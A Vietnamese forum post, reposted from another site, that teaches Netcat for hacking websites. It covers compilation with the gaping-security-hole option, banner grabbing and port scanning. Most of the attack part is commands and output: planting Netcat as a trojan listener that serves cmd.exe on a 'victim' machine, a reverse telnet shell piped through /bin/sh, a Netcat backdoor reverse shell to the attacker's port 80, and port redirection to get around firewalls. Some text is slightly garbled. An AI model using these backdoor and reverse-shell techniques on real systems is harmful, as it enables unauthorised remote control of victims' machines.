kate_pham3
New Member
Netcat là một công cụ bất thể thiếu được nếu bạn muốn hack một website nào đó. Vì vậy bạn cần biết một chút về Netcat)
2. Biên dịch
Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.
Bản Netcat cho windows bất nên phải compile vì vừa có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.
3. Các tùy chọn của Netcat
Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:
Cnc -h
connect to somewhere: nc [-options] hostname port [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
* Cú pháp:
- chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2]
- chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]
* Một số tùy chọn:
-d tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar)
-e prog thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h gọi hướng dẫn
-i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n chỉ dùng đất chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ bất thẩm vấn DNS
-o file ghi nhật kí vào file
-p port chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr giả mạo đất chỉ IP nguồn là addr
-t bất gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ bất gởi các thông tin này đến telnetd.
-u dùng UDP(mặc định netcat dùng TCP)
-v hiển thị rõ hơn các thông tin về kết nối hiện tại. -vv sẽ hiển thị thông tin rõ hơn hơn nữa.
-w secs đặt thời (gian) gian timeout cho mỗi kết nối là secs mili giây
-z chế độ zero I/O, thường được sử dụng khi scan port
Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080
4. Các ví dụ:
4.1 Chộp banner của web server
Ví dụ: nc đến 172.16.84.2, cổng 80
Cnc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html
Để biết thông tin rõ hơn về kết nối, bạn có thể dùng -v(-vv sẽ cho biết các thông tin rõ hơn hơn nữa)
Cnc -vv 172.16.84.1 80
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK
Nếu muốn ghi nhật kí, hãy dùng -o . Ví dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80
- xem file nhat_ki.log
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....
dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server
4.2 Quét cổng
- chạy netcat với tùy chọn -z. Để quét cổng nhanh hơn, hãy dùng -n vì netcat sẽ bất cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500) của host 172.16.106.1
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open
- nếu bạn cần scan các cổng UDP, dùng -u
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
4.3 Biến Netcat thành một trojan
- trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn -l(listen) và -p port để xác định số hiệu cổng cần lắng nghe, -e để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe(đối với NT) hay /bin/sh(đối với Unix). Ví dụ:
Enc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error
- trên máy tính dùng để tấn công, bạn chỉ chuyện dùng netcat nối đến máy nạn nhân trên cổng vừa định, chẳng hạn như 8080
Cnc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-1999 Microsoft Corp.
Ecd test
cd test
E:test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:test
[.] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:test>exit
exit
sent 20, rcvd 450: NOTSOCK
Như bạn thấy, chúng ta vừa có thể làm gì mà chẳng được với máy của nạn nhân qua shell lệnh này?! Tuy nhiên, sau kết nối trên, netcat trên máy nạn nhân cũng đóng luôn. Để yêu cầu netcat lắng nghe trở lại sau mỗi kết nối, bạn dùng -L thay cho -l. Lưu ý: -L chỉ có thể áp dụng cho bản Netcat for Windows, bất áp dụng cho bản chạy trên Linux.
Enc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...
- Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định đất chỉ nguồn là -s <địa_chỉ_ip_của_máy_này>. Ví dụ:
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe
...
Enc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163
- Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, bất nên phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong.
- Chú ý: bạn bất thể chạy netcat với ... -u -e cmd.exe... hay ...-u -e /bin/sh... vì netcat sẽ bất làm chuyện đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.
5. Kĩ thuật tiên tiến
5.1 Telnet nghịch chuuyển
- dùng telnet để nối cửa số netcat đang lắng nghe, kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và gởi kết quả vào cửa sổ kia. Ví dụ:
- trên máy dùng để tấn công(172.16.84.1), mở 2 cửa sổ netcat lần lượt lắng nghe trên cổng 80 và 25:
+ cửa sổ Netcat (1)
Cnc -nvv -l -p 80
listennng on [any] 80 ...
connect to [172.16.84.1] from [172.16.84.2] 1055
pwd
ls -la
_
+ cửa sổ Netcat (2)
Cnc -nvv -l -p 25
listening on [any] 25 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.2] 1056
/
total 171
drwxr-xr-x 17 root root 4096 Feb 5 16:15 .
drwxr-xr-x 17 root root 4096 Feb 5 16:15 ..
drwxr-xr-x 2 root root 4096 Feb 5 08:55 b ( ²?n
drwxr-xr-x 3 root root 4096 Feb 5 14:19 boot
drwxr-xr-x 13 root root 106496 Feb 5 14:18 dev
drwxr-xr-x 37 root root 4096 Feb 5 14:23 et = ²?
drwxr-xr-x 6 root root 4096 Feb 5 08:58 home
drwxr-xr-x 6 root root 4096 Feb 5 08:50 l ( ²?b
drwxr-xr-x 2 root root 7168 De = ²? 31 1969 mnt
drwxr-xr-x 4 root root 4096 Feb 5 16:18 n = ²?
drwxr-xr-x 2 root root 4096 Aug 23 12:03 opt
dr-xr-xr-x 61 root root 0 Feb 5 09:18 pro = ²?
drwx------ 12 root root 4096 Feb 5 16:24 root
drwxr-xr-x 2 root root 4096 Feb 5 08:55 sb ( ²?n
drwxrwxrwt 9 root root 4096 Feb 5 16:25 tmp
drwxr-xr-x 13 root root 4096 Feb 5 08:42 usr
drwxr-xr-x 18 root root 4096 Feb 5 08:52 var
- trên máy tính nạn nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để tấn công(172.16.84.1), dùng /bin/sh để kết xuất:
[root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25
/bin/sh: Trying: command not found
/bin/sh: Connected: command not found
/bin/sh: Escape: command not found
Trying 172.16.84.1...
Connected to 172.16.84.1.
Escape character is '^]'.
_
Telnet trên máy nạn nhân sẽ chuyển tất cả những gì mà chúng ta gõ vào trong cửa sổ Netcat (1) - cổng 80 kết xuất sang cho /bin/sh thi hành. Kết quả của /bin/sh được kết xuất trở lại cho máy tính dùng để tấn công trên cửa sổ Netcat (2) - cổng 25. Nhiệm vụ của bạn là chỉ cần gõ lệnh vào cửa sổ Netcat (1) và xem kết quả trong cửa sổ Netcat (2).
Sở dĩ tui chọn cổng 80 và 25 vì các cổng này thường bất bị firewalls hay filters lọc.
5.2 Tạo kênh sau
Cũng tương tự như telnet nghịch chuyển.
- trên máy tính dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80 vì cổng này sẽ bất bị firewall chặn:
Cnc -nvv -l -p 80
listennng on [any] 80 ...
- tiếp theo, từ shell lệnh của máy nạn nhân, bạn nối Netcat đến máy dùng để tấn công với tùy chọn -e để đổ shell:
Enc -e cmd.exe 172.16.84.1 80
Một khi máy nạn nhân thi hành chuổi lệnh trên, kênh sau nc sẽ được tạo, "nhét" shell (trong trường hợp này là cmd.exe) trở vào nc. Kể từ đây, chúng ta vừa có 1 shell lệnh ảo.
Cnc -nvv -l -p 80
listenning Phần mềm [any] 80 ...
connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-1999 Microsoft Corp.
E
5.3 Đổi hướng cổng
Bạn có thể dùng tunnel.pl hay fpipe.exe. Hãy xem ví dụ sau:
- chạy nc trên cổng bất kì:
Enc -nvv -L -p 1234 -e cmd.exe
listening on [any] 1234 ...
- chạy tunnel hay fpipe để đổi hướng cổng
Cperl tunnel.pl --port=53 --tohost=127.0.0.1 --toport=1234
Cfpipe -l 53 -r 1234 127.0.0.1
tunnel, fpipe sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà netcat đang lắng nghe.
Đổi hướng cổng là một cách để đi vòng qua firewalls.
6. Kết luận: Netcat rất tuyệt!
=========================
vicki - nhomvicky.net
Nguồn HVAOnline